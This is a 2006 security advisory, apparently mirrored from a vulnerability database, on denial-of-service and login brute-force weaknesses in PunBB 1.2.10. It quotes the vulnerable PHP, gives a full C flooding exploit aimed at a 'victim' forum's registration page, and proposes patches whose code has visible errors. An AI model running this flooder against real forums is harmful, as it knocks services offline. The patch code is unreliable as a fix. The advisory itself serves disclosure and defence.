Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11538
HistoryFeb 22, 2006 - 12:00 a.m.

PunBB 1.2.10 Multiple DoS Vulnerabilities

2006-02-2200:00:00
vulners.com
16

/*

[N]eo [S]ecurity [T]eam [NST]® PunBB 1.2.10 Multiple DoS Vulnerabilities

Program : PunBB 1.2.10
Homepage: http://www.punbb.org
Vulnerable Versions: PunBB 1.2.10 & lower ones
Risk: Critical!
Impact: Denial of service by registering too many users (Critical)
Possible bruteforce attack to login (Low)

-> PunBB 1.2.10 Multiple DoS Vulnerabilites <-

  • Description

In short, PunBB is a fast and lightweight PHP powered discussion board.
It is released under the GNU Public License. Its primary goal is to be
a faster, smaller and less graphic alternative to otherwise excellent
discussion boards such as phpBB, Invision Power Board or vBulletin.
PunBB has fewer features than many other discussion boards, but is
generally faster and outputs smaller pages.

  • Tested

Tested in localhost & many forums

  • Bug

1- [ Denial of service ]
When the register query happens, the script doesn't check if the IP
had registered another user before shortly.

This bug can lead to some 'nasty' consecuences:

  • No more space in database.
  • A parsing efficiency penalty.
  • A headache for the admin trying to eliminate the users.
  • Server undefined time out of service (Denial of service)

Here is the code:

  $now = time&#40;&#41;;

    $intial_group_id = &#40;$pun_config[&#39;o_regs_verify&#39;] == &#39;0&#39;&#41; ? 
  $pun_config[&#39;o_default_user_group&#39;] : PUN_UNVERIFIED;
    $password_hash = pun_hash&#40;$password1&#41;;

    // Add the user
    $db-&gt;query&#40;&#39;INSERT INTO &#39;.$db-&gt;prefix.&#39;users &#40;username, group_id, password, 

email, email_setting, save_pass, timezone, language, style, registered,
registration_ip, last_visit) VALUES(\''.$db->escape($username).'\',
'.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', '.$email_setting.',
'.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \'
'.$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().'\',
'.$now.')') or error('Unable to create user', FILE, LINE, $db->error());

    $new_uid = $db-&gt;insert_id&#40;&#41;;

    // If we previously found out that the e-mail was banned
    if &#40;$banned_email &amp;&amp; $pun_config[&#39;o_mailing_list&#39;] != &#39;&#39;&#41;
    {
            $mail_subject = &#39;Alert - Banned e-mail detected&#39;;
            $mail_message = &#39;User &#92;&#39;&#39;.$username.&#39;&#92;&#39; registered with banned 
        e-mail address: &#39;.$email1.&quot;&#92;n&#92;n&quot;.&#39;User profile: &#39;.$pun_config
        [&#39;o_base_url&#39;].&#39;/profile.php?id=&#39;.$new_uid.&quot;&#92;n&#92;n&quot;.&#39;-- &#39;.&quot;&#92;n&quot;.
        &#39;Forum Mailer&#39;.&quot;&#92;n&quot;.&#39;&#40;Do not reply to this message&#41;&#39;;

            pun_mail&#40;$pun_config[&#39;o_mailing_list&#39;], $mail_subject, $mail_message&#41;;
    }

Before this code, there is no other query that checks against database flooding.

2- [ Possible bruteforce attack method to login ]

Maybe you think this kind of bugs are not bugs, but unfortunately nowadays
there're so many pepole that practise this kind of attacks.
When a user registers, the forum say that the password should be at least 4 bytes
long, if we think a bit, cracking a 4 bytes long password (maybe alphanumeric,
because I'm sure that 90% of passwords are like that) it would take some
time depending of your connection and the server lactancy, but it's possible.
Actually, the server will suffer an efficency penalty, however this bug it's
considered as a `Low risk' bug.

Similar to the above bug, the script doesn't check if the IP has requested
too many times to login without success. An attacker (lame…xD) can make a
bruteforce attack to guess the password of any user he/she wants to.

login.php:

if (isset($_POST['form_sent']) && $action == 'in')
{
$form_username = trim($_POST['req_username']);
$form_password = trim($_POST['req_password']);

    $username_sql = &#40;$db_type == &#39;mysql&#39; || $db_type == &#39;mysqli&#39;&#41; ? &#39;username=&#92;&#39;
  &#39;.$db-&gt;escape&#40;$form_username&#41;.&#39;&#92;&#39;&#39; : &#39;LOWER&#40;username&#41;=LOWER&#40;&#92;&#39;&#39;.
  $db-&gt;escape&#40;$form_username&#41;.&#39;&#92;&#39;&#41;&#39;;

    $result = $db-&gt;query&#40;&#39;SELECT id, group_id, password, save_pass FROM &#39;.
  $db-&gt;prefix.&#39;users WHERE &#39;.$username_sql&#41; or error&#40;&#39;Unable to fetch user 
  info&#39;, __FILE__, __LINE__, $db-&gt;error&#40;&#41;&#41;;
    list&#40;$user_id, $group_id, $db_password_hash, $save_pass&#41; = 
  $db-&gt;fetch_row&#40;$result&#41;;

    $authorized = false;

    if &#40;!empty&#40;$db_password_hash&#41;&#41;
    {
            $sha1_in_db = &#40;strlen&#40;$db_password_hash&#41; == 40&#41; ? true : false;
            $sha1_available = &#40;function_exists&#40;&#39;sha1&#39;&#41; || function_exists&#40;&#39;mhash&#39;&#41;&#41; 
        ? true : false;

            $form_password_hash = pun_hash&#40;$form_password&#41;;
      // This could result in either an SHA-1 or an MD5 hash 
      &#40;depends on $sha1_available&#41;

            if &#40;$sha1_in_db &amp;&amp; $sha1_available &amp;&amp; $db_password_hash 
        == $form_password_hash&#41;
                    $authorized = true;
            else if &#40;!$sha1_in_db &amp;&amp; $db_password_hash == md5&#40;$form_password&#41;&#41;
            {
  • Exploit

[1] - Denial of service
Be considered and don't abuse of this kind of attacks.
The code has been modified, change whatever you think necessary to
make it work. ;)

/*
Name: NST-Exploit Punbb 2.0.10 Denial Of Service
Copyright: NeoSecurity
Author: K4P0

[./]NST-XplPunbb www.victim.com 2.0.0.6 /punbb/

#################################################
PunBB 2.0.10 Denial of Service exploit by K4P0
Use only at your own reputation risk! ;)

www.NeoSecurityTeam.net
#################################################

[1] - Trying if connection is possible…
[2] - Connected!
[3] - Flooding localhost…

Use it at your own risk!.
*/

#define WINDOWS
//#define LINUX

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WINDOWS
#include <winsock2.h>
#include <windows.h>
// Link to (lib)ws2_32.a
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#endif

#define NST_ALIVE 0

int Connect(char*);
void SendPack(int, int, char*, char*);
void _perror(char*);
void HowTo(char*);

int main(int argc, char* argv[])
{
int vict_sock, dos = 0;
puts("#################################################");
puts(" PunBB 2.0.10 Denial of Service exploit by K4P0 ");
puts(" Use only at your own reputation risk! ;) \n");
puts(" www.NeoSecurityTeam.net ");
if(argc < 4) HowTo(argv[0]);
puts("#################################################\n");

printf("[1] - Trying if connection is possible…\n", argv[1]);
fflush(stdout);
vict_sock = Connect(argv[2]);
printf("[2] - Connected!\n");
printf("[3] - Flooding %s", argv[1]);
#ifdef WINDOWS
closesocket(vict_sock);
#else
close(vict_sock);
#endif

while(NST_ALIVE)
{
if(!(dos % 10)) fprintf(stderr, ".");
vict_sock = Connect(argv[2]);
SendPack(vict_sock, dos, argv[3], argv[1]);
dos++;
#ifdef WINDOWS
closesocket(vict_sock);
WSACleanup();
#else
close(vict_sock);
#endif
}
return 0;
}
// I'm to lazy to use gethostby(addr|name) :)
int Connect(char* IP)
{
struct sockaddr_in *_addr;
int vict_sck;

#ifdef WINDOWS
WSADATA wsaData;
if&#40;WSAStartup&#40;MAKEWORD&#40;1, 1&#41;, &amp;wsaData&#41; &lt; 0&#41;
{
                          //WSAGetLastError&#40;&#41;? Nah...
                          fprintf&#40;stderr, &quot;[*]   WSAStartup&#40;&#41; failed&quot;&#41;;
                          exit&#40;-1&#41;;
}
#endif

if&#40;!&#40;_addr=&#40;struct sockaddr_in *&#41;malloc&#40;sizeof&#40;struct sockaddr_in&#41;&#41;&#41;&#41;
{
                 fprintf&#40;stderr, &quot;[*]   Unable to reserve memory&quot;&#41;;
                 exit&#40;-1&#41;;
}
  
memset&#40;_addr, 0x0, sizeof&#40;struct sockaddr_in&#41;&#41;;
_addr-&gt;sin_family = AF_INET;
_addr-&gt;sin_port   = htons&#40;80&#41;;
_addr-&gt;sin_addr.s_addr = inet_addr&#40;IP&#41;;

#ifdef WINDOWS
if&#40;&#40;vict_sck = WSASocket&#40;AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0&#41;&#41; &lt; 0&#41;
{
             fprintf&#40;stderr, &quot;WSASocket&#40;&#41; failed&quot;&#41;;
             exit&#40;-1&#41;;
}
else
if&#40;&#40;vict_sck = socket&#40;AF_INET, SOCK_STREAM, IPPROTO_TCP&#41;&#41; &lt; 0&#41; 
             _perror&#40;&quot;socket&#40;&#41; &quot;&#41;;
#endif

if&#40;connect&#40;vict_sck, &#40;struct sockaddr *&#41;_addr, sizeof&#40;struct sockaddr&#41;&#41; &lt; 0&#41;
             _perror&#40;&quot;connect&#40;&#41; &quot;&#41;; 

free&#40;_addr&#41;;
return vict_sck; 

}

void SendPack(int v_sck, int var, char* path, char* DNS)
{
char *HTTP_PACK, *HTTP_MPCK, *HTTP_POST;
if(!(HTTP_PACK = (char )malloc(2048)) || !(HTTP_MPCK = (char )malloc(1024)) ||
!(HTTP_POST = (char )malloc(512)))
{
fprintf(stderr, "Error trying to reserver memory");
exit(-1);
}
sprintf(HTTP_PACK, "POST %sregister.php?action=register HTTP/1.1\n"
"Host: %s\n"
"User-Agent: Mozilla/5.0 Gecko/20050511 Firefox/1.0.4\n"
"Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,
/
;q=0.5\n"
"Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,
;q=0.7\n"
"Keep-Alive: 300\n"
"Proxy-Connection: keep-alive\n"
"Referer: http://%s%sregister.php\n"
"Content-Type: application/x-www-form-urlencoded\n", path, DNS, DNS, path);

 sprintf&#40;HTTP_POST, &quot;form_sent=1&amp;req_username=&#37;d__NsT&amp;req_password1=flood&amp;req_password2=flood&amp;&quot;
                    &quot;req_email1=&#37;[email protected]&amp;timezone=-10&amp;email_setting=1&quot;, var, var&#41;;
 
 sprintf&#40;HTTP_MPCK, &quot;Content-Length: &#37;d&#92;n&#92;n&quot;, strlen&#40;HTTP_POST&#41;&#41;;
    
 strcat&#40;HTTP_PACK, HTTP_MPCK&#41;;
 strcat&#40;HTTP_PACK, HTTP_POST&#41;;
 send&#40;v_sck, HTTP_PACK, strlen&#40;HTTP_PACK&#41;, 0&#41;;
 
 free&#40;HTTP_PACK&#41;;
 free&#40;HTTP_MPCK&#41;;
 free&#40;HTTP_POST&#41;;
 return;

}

void _perror(char* msg)
{
perror(msg);
fflush(stdout);
exit(-1);
}

void HowTo(char* program)
{
fprintf(stderr, "%s <DNS> <IP> <Path>\n", program);
fprintf(stderr, "f.e: ./NsT-XplPunbb www.victim.com 2.0.0.6 /punbb/\n");
fprintf(stderr, "#################################################");
exit(0);
}

// EOF

[2] - Possible brufeforce attack to login
NST will not release any code to exploit this bug.

  • Solutions

1- [ Denial Of Service ]
A very simple fix should be implemented:

  $now = time&#40;&#41;;

    $intial_group_id = &#40;$pun_config[&#39;o_regs_verify&#39;] == &#39;0&#39;&#41; ? 
  $pun_config[&#39;o_default_user_group&#39;] : PUN_UNVERIFIED;
    $password_hash = pun_hash&#40;$password1&#41;;

 // NeoSecurityTeam PunBB 1.2.10 DoS Patch by K4P0
 $reglimit = $now - 60*5; // Lets wait for 5 minutes.
 $SQL_Anti_Flood = &#39;SELECT * FROM &#39;.db-&gt;prefix.&#39;users WHERE registration_ip
                            =&#92;&#39;&#39;.get_remote_address&#40;&#41;.&#39;&#92;&#39; AND registered&gt;&#92;&#39;&#39;.$reglimit&#39;&#92;&#39;&#39;;
 $checkflood = mysql_num_rows&#40;mysql_query&#40;$SQL_Anti_Flood&#41;&#41;;
 
 if&#40;$checkflood &gt; 0&#41; error&#40;&#39;Please wait some minutes to register again&#39;,
                                    &#39;register.php&#39;, &#39;&#39;, &#39;&#39;&#41;;
    // IP doesn&#39;t try to flood our forum, insert user safely. :&#41;

    // Add the user
    $db-&gt;query&#40;&#39;INSERT INTO &#39;.$db-&gt;prefix.&#39;users &#40;username, group_id, 

password, email, email_setting, save_pass, timezone, language, style,
registered, registration_ip, last_visit) VALUES(\''.$db->escape($username).'\',
'.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', '.$email_setting.',
'.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \''.
$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().
'\', '.$now.')') or error('Unable to create user', FILE, LINE,
$db->error());
$new_uid = $db->insert_id();

    // If we previously found out that the e-mail was banned
    if &#40;$banned_email &amp;&amp; $pun_config[&#39;o_mailing_list&#39;] != &#39;&#39;&#41;
    {
            $mail_subject = &#39;Alert - Banned e-mail detected&#39;;
            $mail_message = &#39;User &#92;&#39;&#39;.$username.&#39;&#92;&#39; registered with 

banned e-mail address: '.$email1."\n\n".'User profile: '.$pun_config 'o_base_url'].
'/profile.php?id='.$new_uid."\n\n".'– '."\n".'Forum Mailer'."\n".
'(Do not reply to this message)';

            pun_mail&#40;$pun_config[&#39;o_mailing_list&#39;], $mail_subject, $mail_message&#41;;
    }

2- [ Possible bruteforce attack method to login ]

  • Implement a similar code that you can see above.
  • Set password of 5 or more characters.

Ok, the 'logical' solution it's the second because nobody can be so stupid to try
to crack a 5 bytes length password remotely! but the `right' one it's the first.

Here you can see a possible fix:
Note: This method needs a new table called ($db->prefix)iptrylog wich
contains when has a IP last try to login unsucecssfully.

Patch Part I : Check if IP is trying to flood.
Patch Part II : If the IP has logged successfully, delete it from the iptrylog table.
Patch Part III: If the IP has logged unsuccessfully, insert it in the iptrylog table.

if (isset($_POST['form_sent']) && $action == 'in')
{
$form_username = trim($_POST['req_username']);
$form_password = trim($_POST['req_password']);

    $username_sql = &#40;$db_type == &#39;mysql&#39; || $db_type == &#39;mysqli&#39;&#41; ? &#39;username=&#92;&#39;
  &#39;.$db-&gt;escape&#40;$form_username&#41;.&#39;&#92;&#39;&#39; : &#39;LOWER&#40;username&#41;=LOWER&#40;&#92;&#39;&#39;.$db-&gt;escape
  &#40;$form_username&#41;.&#39;&#92;&#39;&#41;&#39;;

 // NeoSecurityTeam PunBB 1.2.10 Bruteforce login Patch by K4P0 &#40;Part 1/3&#41;
    $logintime = time&#40;&#41; - 10; // 10 seconds delay.
    $SQLoginCheck = &#39;SELECT * FROM &#39;.db-&gt;prefix.&#39;iptrylog WHERE ip=&#92;&#39;
 &#39;.getremoteaddress&#40;&#41;.&#39;&#92;&#39; and lastry&gt;=&#92;&#39;&#39;.$logintime.&#39;&#92;&#39;&#39;;
    
    $check = mysql_num_rows&#40;mysql_query&#40;$SQLoginCheck&#41;&#41;;
    if&#40;$check &gt; 0&#41; error&#40;&#39;Please wait some minutes to login again&#39;,
                                    &#39;login.php&#39;, &#39;&#39;, &#39;&#39;&#41;;
    // End of part 1 of patch, see below

    $result = $db-&gt;query&#40;&#39;SELECT id, group_id, password, save_pass FROM 
 &#39;.$db-&gt;prefix.&#39;users WHERE &#39;.$username_sql&#41; or error&#40;&#39;Unable to fetch 
 user info&#39;, __FILE__, __LINE__, $db-&gt;error&#40;&#41;&#41;;
    list&#40;$user_id, $group_id, $db_password_hash, $save_pass&#41; = $db-&gt;fetch_row&#40;$result&#41;;

    $authorized = false;

    if &#40;!empty&#40;$db_password_hash&#41;&#41;
    {
            $sha1_in_db = &#40;strlen&#40;$db_password_hash&#41; == 40&#41; ? true : false;
            $sha1_available = &#40;function_exists&#40;&#39;sha1&#39;&#41; || function_exists&#40;&#39;mhash&#39;&#41;&#41; 
        ? true : false;

            $form_password_hash = pun_hash&#40;$form_password&#41;; // This could result 
        in either an SHA-1 or an MD5 hash &#40;depends on $sha1_available&#41;

            if &#40;$sha1_in_db &amp;&amp; $sha1_available &amp;&amp; $db_password_hash == 
            $form_password_hash&#41;
                    $authorized = true;
            else if &#40;!$sha1_in_db &amp;&amp; $db_password_hash == md5&#40;$form_password&#41;&#41;
            {
                    $authorized = true;
                    
                    // NeoSecurityTeam PunBB 1.2.10 Login Patch by K4P0 &#40;Part 2/3&#41;
                    @mysql_query&#40;&#39;DELETE FROM &#39;.db-&gt;prefix.&#39;iptrylog.&#39; WHERE ip=&#92;&#39;
             &#39;.getremoteaddress&#40;&#41;.&#39;&#92;&#39;&#39;&#41;;
                    // End of Part 2.
                    if &#40;$sha1_available&#41;    // There&#39;s an MD5 hash in the database, 
               but SHA1 hashing is available, so we update the DB
                            $db-&gt;query&#40;&#39;UPDATE &#39;.$db-&gt;prefix.&#39;users SET password=&#92;&#39;
              &#39;.$form_password_hash.&#39;&#92;&#39; WHERE id=&#39;.$user_id&#41; or error
              &#40;&#39;Unable to update user password&#39;, __FILE__, __LINE__, $db-&gt;error&#40;&#41;&#41;;
            }
    }
    
    if &#40;!$authorized&#41;
    {
    // NeoSecurityTeam PunBB 1.2.10 login Patch by K4P0 &#40;Part 3/3&#41;
    @mysql_query&#40;&#39;INSERT INTO &#39;.db-&gt;prefix.&#39;iptrylog &#40;ip, lastry&#41; VALUES 
  &#40;&#92;&#39;&#39;.getremoteaddress&#40;&#41;.&#39;&#92;&#39;, &#92;&#39;&#39;.$logintime+10.&#39;&#92;&#39;&#41;&#39;&#41;;

            message&#40;$lang_login[&#39;Wrong user/pass&#39;].&#39; &lt;a href=&quot;login.php?
        action=forget&quot;&gt;&#39;.$lang_login[&#39;Forgotten pass&#39;].&#39;&lt;/a&gt;&#39;&#41;;

}

  • References

http://www.neosecurityteam.net/advisories/Advisory-16.txt

  • Credits

Discovered by K4P0 -> k4p0k4p0[at]hotmail[dot]com

[N]eo [S]ecurity [T]eam [NST]® - http://NeoSecurityTeam.net/

Irc.InfoGroup.cl #neosecurityteam

  • Greets

Paisterist
HaCkZaTaN
Link
Daemon21
erg0t
NST Comunity!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@@@@'''''@@@''''
'@@'''@@@@'''''''''@@@''''@@@''''
@@@@''''@@'@@@@@@@@@@''''@@@@@'''
*/